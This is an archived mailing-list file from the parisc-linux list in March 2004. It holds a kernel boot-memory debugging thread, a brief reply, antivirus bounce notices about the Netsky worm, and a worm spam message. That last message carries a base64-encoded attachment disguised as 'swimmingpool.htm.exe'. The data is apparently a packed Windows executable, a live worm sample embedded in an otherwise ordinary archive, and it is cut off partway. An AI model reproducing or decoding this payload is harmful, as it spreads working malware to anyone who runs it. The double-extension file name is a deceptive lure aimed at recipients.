        printk("npmem_ranges = %d.\n", npmem_ranges);
}

arch/parisc/mm/init.c
static void __init setup_bootmem(void)
{
[snip]
#ifndef CONFIG_DISCONTIGMEM
        /*
         * Sort the ranges. Since the number of ranges is typically
         * small, and performance is not an issue here, just do
         * a simple insertion sort.
         */

        printk("npmem_ranges = %d.(line 143)\n", npmem_ranges);
        for (i = 1; i < npmem_ranges; i++) {
                int j;

                for (j = i; j > 0; j--) {
                        unsigned long tmp;

                        if (pmem_ranges[j-1].start_pfn <
                            pmem_ranges[j].start_pfn) {

                                break;
                        }
                        tmp = pmem_ranges[j-1].start_pfn;
                        pmem_ranges[j-1].start_pfn = pmem_ranges[j].start_pfn;
                        pmem_ranges[j].start_pfn = tmp;
                        tmp = pmem_ranges[j-1].pages;
                        pmem_ranges[j-1].pages = pmem_ranges[j].pages;
                        pmem_ranges[j].pages = tmp;
                }
        }

        /*
         * Throw out ranges that are too far apart (controlled by
         * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
         * poorly, we would recommend enabling that option, but,
         * until it is fixed, this is the best way to go.
         */

        printk("npmem_ranges = %d.(line 171)\n", npmem_ranges);
        for (i = 1; i < npmem_ranges; i++) {
                printk("pmem_ranges[%d].start_pfn = %ld.\n", i-1, pmem_ranges[i-1].pages);
                printk("pmem_ranges[%d].pages = %ld.\n", i-1, pmem_ranges[i-1].pages);
                printk("pmem_ranges[%d].start_pfn = %ld.\n", i, pmem_ranges[i].pages);
                printk("MAX_GAP = %ld.\n", MAX_GAP);
                if (pmem_ranges[i].start_pfn -
                        (pmem_ranges[i-1].start_pfn +
                         pmem_ranges[i-1].pages) > MAX_GAP) {
                        npmem_ranges = i;<=====================[ref1.]
                        break;
                }
        }
#endif

        printk("npmem_ranges = %d.(line 186)\n", npmem_ranges);
        if (npmem_ranges > 1) {
[snip]

<==== return by pat_memconfig() ====>
Status == PDC_OK.
Sizeof(struct pdc_pat_pd_addr_map_entry) = 32.
actual_len = 64.
length = 1056.
entries = 2.
pmem_ranges[0].pages = 524288.
pmem_ranges[1].pages = 524288.
npmem_ranges = 2.

So pat_memconfig() returns well 2 entries of 2Gb Ok

<==== return by setup_bootmem() ====>
npmem_ranges = 2.(line 143)
npmem_ranges = 2.(line 171)
pmem_ranges[0].start_pfn = 524288.
pmem_ranges[0].pages = 524288.
pmem_ranges[1].start_pfn = 524288.
MAX_GAP = 262144.
npmem_ranges = 1.(line 186)
pmem_ranges[0].pages = 524288.

So here only one entry is scan because of condition ([ref1]) but I have no
clue of the actual meaning of this condition. Thanks in advance for info
:)

RSize = 2147483648.
Total Memory: 2048 Mb
On node 0 totalpages: 524288

Thanks,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Tue, 23 Mar 2004 12:06:38 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20040323170638.GN5123@baldric.uwo.ca>
References: <40561E710000043C@ocpmta2.freegates.net>
	<40561EAF0000536E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623296 7157 80.91.229.3 (22 Nov 2014 02:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:16 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Mar 23 10:09:48 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5773549D2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 10:09:48 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B5pMM-0000dM-00; Tue, 23 Mar 2004 12:06:38 -0500
Content-Disposition: inline
In-Reply-To: <40561EAF0000536E@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (10% Sync Ratio [=.........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 17:09:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21168

On Tue, Mar 23, 2004 at 08:07:21AM +0100, Joel Soete wrote:
> Hello Carlos,
> 
> Sorry for delay,...

No problem!

> So same known errors with cvs dated 2004 03 22 :)

Perfect. Thanks!

c.



From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Tue, 23 Mar 2004 23:27:59 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <054101c41126$19011fb0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623297 7159 80.91.229.3 (22 Nov 2014 02:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Mar 23 15:26:59 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB017482A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 15:26:58 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88205.dip0.t-ipconnect.de
	[217.232.130.5])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2NMQvo17531
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 23:26:57 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Tue, 23 Mar 2004 23:28:00 +0100
thread-index: AcQRJhkBbEYu64YmSLijFZ02vpB9ag==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 23 Mar 2004 22:28:00.0087 (UTC)
	FILETIME=[191B5E70:01C41126]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 22:26:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21169

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/23/2004 11:27:59 PM
Engine/Pattern = 6.860-1001/1.833.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 24 Mar 2004 03:07:12 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <063a01c41144$b8c96070$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623297 7165 80.91.229.3 (22 Nov 2014 02:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Mar 23 19:07:09 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76B6D4891
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 19:07:08 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88205.dip0.t-ipconnect.de
	[217.232.130.5])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2O277o08381
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 03:07:07 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 24 Mar 2004 03:07:13 +0100
thread-index: AcQRRLjJDXDejXoBREmR+WRJgK+0Bg==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 24 Mar 2004 02:07:13.0137 (UTC)
	FILETIME=[B8EF8610:01C41144]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 02:07:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21170

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/24/2004 3:07:12 AM
Engine/Pattern = 6.860-1001/1.833.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@cgp.pu.ru
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable mail: Re: Document
Date: Wed, 24 Mar 2004 07:19:48 +0300
Lines: 48
Approved: news@gmane.org
Message-ID: <receipt-8042489@cgp.pu.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type="delivery-status";
	boundary="_===8042489====cgp.pu.ru===_"
X-Trace: ger.gmane.org 1416623297 7167 80.91.229.3 (22 Nov 2014 02:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Tue Mar 23 21:19:50 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cgp.pu.ru (fxp0.cgp.pu.ru [194.58.104.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 393964891
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 21:19:50 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 04:19:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21171


--_===8042489====cgp.pu.ru===_
Content-Type: text/plain; charset="utf-8"

Failed to deliver to 'goronch@vg6088.spb.edu'

WARNING! Your message was infected by VIRUS:
Suspicious File: your_document.pif

It was rejected for delivery.

Antiviral program output:
==================================================
your_document.pif		 Suspicious File: your_document.pif
==================================================




--_===8042489====cgp.pu.ru===_
Content-Type: message/delivery-status

Reporting-MTA: dns; cgp.pu.ru

Original-Recipient: rfc822;<goronch@vg6088.spb.edu>
Final-Recipient: system;<goronch@vg6088.spb.edu>
Action: failed
Status: 5.0.0

--_===8042489====cgp.pu.ru===_
Content-Type: text/rfc822-headers

Received: from [193.19.177.73] (HELO vg6088.spb.edu)
  by cgp.pu.ru (CommuniGate Pro SMTP 4.1.8)
  with ESMTP id 8042477 for goronch@vg6088.spb.edu; Wed, 24 Mar 2004 07:19:42 +0300
From: parisc-linux@lists.parisc-linux.org
To: goronch@vg6088.spb.edu
Subject: Re: Document
Date: Wed, 24 Mar 2004 06:19:43 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0006_00003191.0000520A"
X-Priority: 3
X-MSMail-Priority: Normal
Message-ID: <auto-000008042477@cgp.pu.ru>

--_===8042489====cgp.pu.ru===_--


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: oboel@physci.uct.ac.za
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delivery Failed
Date: Wed, 24 Mar 2004 10:12:59 +0530
Lines: 468
Approved: news@gmane.org
Message-ID: <20040324044257.CF7974891@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_00004109.0000345E"
X-Trace: ger.gmane.org 1416623298 7171 80.91.229.3 (22 Nov 2014 02:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: oboel@physci.uct.ac.za  Tue Mar 23 21:43:02 2004
Return-Path: <oboel@physci.uct.ac.za>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF7974891
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Mar 2004 21:42:57 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 04:43:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21172

This is a multi-part message in MIME format.

------=_NextPart_000_0001_00004109.0000345E
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

your personal record?

------=_NextPart_000_0001_00004109.0000345E
Content-Type: application/octet-stream;
	name="swimmingpool.htm.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="swimmingpool.htm.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANJIO0AAAAAAAAAAAOAADwILAQI4AGAAAAAQ
AAAAUAEA4LABAABgAQAAwAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAADQAQAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABDFAQCAAQAAAMABABAF
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ
WDAAAAAAAFABAAAQAAAAAAAAAAIAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAYAEA
AFQAAAACAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMABAAAIAAAAVgAAAAAAAAAA
AAAAAAAAQAAAwDEuMjQAVVBYIQwJAgm6M9yCDUwt9YeWAQDAUAAAAKIAACYFAAT/////VYvs
i0UMVleLfQgz0jPJM/aAPwB0KVNqAVsr34ldCIr3/+3/H4D7LnUMiAwCi1UgyQPX6wWIXAYB
QUZHJ/v/bXd14VsYgGQPAI1GAV9eXcOLRCQIU0xv/3+7fCQQTYH6AAgAAH06D7YIhcl0WcHA
dbr//7ckV147znwLihwGiB9HRjvxfvWAfAE+RH97+98EdATGBy5HQuvIL0ABA0gY67yAJwDt
7+5uVVvDo4HsGEuApej3//8AYN+++9u5/zMAM8CNvekP86tmq2pv9lqqUvb///+NRexWUIlV
6OgFACJ8iz1YYUAAg8QMZjl1EGbHGu5uv/0CAHYF/wrrHGgYqxhoDAT/FVze2v/vIzvGdAZm
i0AI6wRqNf/XIjGJRe429/bbGoA++P8L8HUXFCtkdtfeTiUqDIsAARhWagIB27dDtiloECZq
/VjpfgK15rf/YGr+6/ZTaN8RqP/XgI3qAf27aza3WIWbCNfsEo2F9AWm28ytUA217mQICfC3
v910BvLoXf4EWYvwWYPGfnUUv18b4YCkNQBGUUqENUu2118w23sJX/BsA/xqBFBvbru5uybi
BhAEU/L8/KAP+P49e4gcaAUXi10QUxHsFt52WzxQXwVqOYVdQFO7fTvZ0HB1Ffxe6zUj6FAn
0m2HrVAiaNIWGCJ0RmGzDRUKeD1MrDm6duGFQPvrzorrArMifFvjF26LxlvDycNWi3QaC1et
/R/+acAQEAQAUKDUi/hZhf90JxUUN0To2gQCPF5XuLKF9n609nf7D4vHi87aMAUbSXX1Dkf7
0XBnCgwQtGgPt4KF9r+/AnxqjUj/viaJTfjrA4sEHbw3xxtxWH5TsxH8jboa6P4NL9+P/v1Y
O08Cdi+Nn/wLVmLbWGd9BlON7E1TB41l7PAUBYvsJGej42+FA4VGdb2FwHSjj8mQbWdGBgL+
iWo/JuFun45Zj/6LdeodYPwb22+/mINl/ACqe0YGUP/TrcAh+Pbsi3QMCAkKFgPHOrXb1r5J
Ax4w9MZ96Ci2l0q/iEYMigiEOUC+yUDH8Pv/hZtE74vRWMHpAvOli8qD4QPzpIsptGn3WwkB
TfQD+XMDwUGAZ36v7b4aR/9F9EPrwMtV3ycc78bA3r1ZdBUQTQXnva5t3xpfLY18MBOORASP
lYW322Y9HXUS8fh0Dd34YbBWOEWHwcVmBvZmdq4QGFQCZKkIdQf8M8L/jvMFY4N97AAPhAMB
Gf2u3M42MwfhSBaQAAad6e2bxoPoA3RuBAp0DJYtAJ50W389OI1HiFCh/QBK4WGzOQhR+JIA
8fzZTe82Ywgq6Y2NJoGDzX37bRBRLSYsa0cKWVluJn345trw/yzAtUECdVmC61O5AzKyXAr+
6z0yst0uwUOfOTd9KPXwezdzzVRQc3B5jYQIBKrurbmZa19qYex0GnWbgQuzCDtDOAwVrQAd
z8JNyUfr9CMIq6pZa/J5GTYICPj3yC+zUSb5wkjNl7bKparJ5GBcQJ+L2OMIS0t5+JKJcCJy
7hlcU2lvzlroH4S1C7GAIR6PdVHknm2Z/11Qag+NgxDSUIkAoMl9u5Vw9BSFDWiLswwZZAD2
slJ8LEYEKaztcvxBizbr2FpAMIBxLWQNtMMWMCowLjPtfnsSgxkEgX38lCt80oofINuzXWQH
Vq+F2wpTu2Alw/8R4k9DAzFKEQqFWSAIJLadHLSX/9J1BA1Q5ueG679FEIP+CFf30LnTDYzR
bdD+7f7B717f99uNNN6JHzMa8NKFLxgj8TPzDMHrfAS1kH17rt2+M8NCFBkXBloBizS1tw2O
FsHoyfAZxiPBIJhbRo4WBIXuxjAtu2BuVCIsEk8P/zU4x4VBLeEnGcX4I/kz+1vhR34jPL3H
Qk515yz8W+CxwIxdQGMAOVVuNVxkv4AHVmgsYBqGbrt/A1YCaBCAk46BYWMMjPyK/eYG2Zqt
sQf1ViQCQCy3hg/O07X/Jn0M0dLGx/L+yS8eTsAqHLIdgYlqLguQFvh2C7LgCczHJFBLAwRM
dxM7F8pQXMQKAAWWu6bpFo3GA5jImi8J5Ncs0UokJVb8nAp7fhNdzAeeogppix0oYDAQbtvc
bc4CoFYjllYJ0gjM5qBtBaQLuyMk1nVl2w3WEKg62gOsi1KB5soIqK2oLYOt+cogeNyuArrV
9r3m3B48MAXt1w3DwNs6VlYvHmaIiaHsemYcKReM+xllll9DWlAcdQgYYch22+ohOQx0HCWM
X7ZbR6xQUJsBReu+B/jwCp3rsvBIkJAyHduz4bIdkAECEpQUtAi2OlhhhiB4mbVW11B32TXg
BQYv5BEuBz2fDW3mK1hd6AHqAfTcrHCya+zgkokEasxGthGA/AiBlliiUAXtuu4JWMNt+7B7
g+wQM/AxFTAt3v37paXwzwdyCAfaB3YGXvDUB2Z5bOwFbvIBcgYME/IBABo48qT29h/2Covw
dvtfWPJKRMHgCcHhBQvBDQwLGEo8aLSd8OAsbqx92xcGD/pm0ekIHQgabsQYAgC/vldWsBDh
0QCrhcIYZuGwjIv8u4Vq+DZ0Xa9Tj/mJ1teLMjkD3czdCHQt5B4d+MoH5wxmBo3PPSimS1ij
ZDtMZCNw9KNDC6UEVpV1o92bSIqRlGUYTCTiEYr60g3eRXABg+Jc4gSwBAvWg9L8vzvGAYqS
IYhRAX4ailABAsWsLMsPAgYc7Qvtu+2yPSsCJXJ+DopAIqZgf/bgP4qAGrA9iEED+V1bRxcM
gUHUlHpQB9iOHLmZkAbcjOCI5ITIkSNH6IDsfKR4HDly5Kh0rHCwbLRokSNHjrhkvGDAXDpy
5MjEWMhUzFDQTMwGpzH5OHqJ/p3NZhpP/hM0i42pXygL/QIxoAPI99nR2CI7vvF5AvfeA/QG
BgDpMJb8JAB1MQw1wD++e8m5SGF9BblEq4pqPJlflHjrreYHUleZx/5QUSs9z9MtqVAE+vjw
8rt5uhsLhaAM9vTUaByoeBTrw74wYSZJt6MlxskU1PjBHVAXeAuXAQvFwnQ9/JsindDt7Ty7
lHQFKnQDQwqHgCYT0XbZ3usDfNspOXQ0JPQ5zA73z42HQArwkMCP1C5zNexBUtM7x3RSC9sb
3ER0TUZ6BHzkRfgLEFW7/VI6mVn3+TkLfQdGbWChtxSITSUWV2iYbO45i6k4GRQhlfjqQzIL
31+Fg8j/t3iL3xSh0H5BAFb9QwPzw54aX+BtmaMP8RAl/38fTjNiMZwRMwzQ4QcWWwjxdCtq
DLl9TYy7WYMM6jDsUGFszrXAvIxfeQiDEpcLzXHTAPxfMyHdoXXftQgrwAxAITNMX+hvI3xT
EooGQ0Y8iAqNBDcm3ka/PWxy2BcdMK78Eq/QfjxmComKEYD6IC9/fytMBAl1A0Hr8Q4wfBI5
fw3/hdtGndI7gEE8QtDr54A5LXX2YbXvCeuC5wI1ebjME1iuzC2+t8z5VP57t+1zgwi5NSRT
MxDWi34isP3t9oA8H0CHU0cNO/h88usSUR/Y5mSjjJlUUIC9Pa9mhrbhy0QZSbU42/IFaIvw
9ha0x5L9Jtk0NP1WeMFZE6D5mgHELy6Fao1mUGgT3BbWBnoGCgshBB5ZD0ltO578GNHcAiUZ
BqCDQuFqBj/sf978B2gR88JxTfBqBFG/vICJh1dQe/DwmDprEMDU1vFyV7pGoACfENxxqkTb
LDUBQz/2F3R19dh/vA1vaiFlg/oVfhYPmbkG1vUWzTgRS5XIglISJdkTu3MzE/yBHfQqLdrD
8fc92DrX02V6x8/ulcDdG3Xsl7vIFlk7w1m80C4XQF4HPZBUSY1TB4LRJfPcbK5A3cexWRBa
FxI8v+Ate7OzEFcRZCFs922hXywgXHwHPStXfldTVtkgGRROTPLT3KqzBiuPqAYEkM++gBBW
pL4AruSSiexWVV1SlZmGvPStWajJSy6yUgr/BZ8rSzLsNhDTBQnDjDSPyABXxzn7Dw+fRfsR
ZML1TNZq2AXW4IZVhDEO6d4TGH4yJHjoPGu6m8hAPIaAfftSB4NZek+ivno0+ew9TLvPgJkN
MLwFMwxcWawl6d50ExZl5IhcPWWT3eM08J0KfiCyI4OcjATwgIhEsCQH2B9w2wVblmTcc6Sy
lU730BjB7ALDSOE3W3bwJR0sB6ml21WSZxikxut3tJIjOTkNBvXobEiG9Vl3WQnHls1dk3lw
rclpQAZjhWjsLnLI2QosYDwyIEfJCFT04QDbBvVAL0xnkt6zA/QsC2MLyJMtybcvNFAkLOBg
AlmvKVARIjDMNQc25cnCslAFQg+0/ZjE24hSaxBP+70JQ9pprNkbJZkwd4GF4CkQ0L5ZkiOw
+BN8SzYISYdZurSw82wJLpR4iJZ9AbmUC1cMJQe5EC4sIKzBSgjJKChgIx+cBWoHPFcp5AkE
g1RvGKy0siu5lBgSsvNKmEBGxKsjBsllL7yrwTiA2XCTAhv8RJ97tnh4p9dIIMoM1nxhiK7t
vsBXKA5Yv8xAmnQNg5dZtlFyEIC0qyOsgzeUcISkI88diWYIMDYnfy+LjGSDLpx2JhMNCmC4
J/KBXonMSAULH6HtITQpwgQMVPz2Qhd+M8mKBBEEdASVdQTGCt9WXfwgQYH5ADx8EaIHADcG
OUJRABBW9gDwhZiZOPeZdIY21FpMRbQUMFf7QryhFLl1DzhUrBGIlA0s6goP9usHCEFAPXBa
1XoaiBXzDyoAVnQhU8GSbqpcJOJ3Fy+rV74UZv82U3P8WYu7t5f2dWWDnIH+TBZ856F1uxYN
20onKU7KdB+/S132F3pT/zcvNUnHZ9DY7wQ7NSl85kccBg0IvAt9E1M0BI00h7LUKzEQRRbx
W6MZL3o0U6T11HEXLlplyfaJXfhrgF2xMVBwZf/gOxIU4LdF1EAPvpB/XmjEL4Qciwy1rI4M
ODoRsLUbFVDs6wQ7P0C2cKMbMOtLuwQ4sDQgF9zILqkpvCxHgzg8unD3y2B+e3wePC8HOnwW
0/8B33O1Nf0/BwxCcet672+7CAzGRRhDg/sofggSGg8bGrczAw+Wq2ahl2qKS7GjCTLMWed9
zocneGffX1MrwwPEzAR7ybnZKKwI2vkFBXZsEL/7HSXbgHw1y12NBHUValv/NQbanrC4rQIg
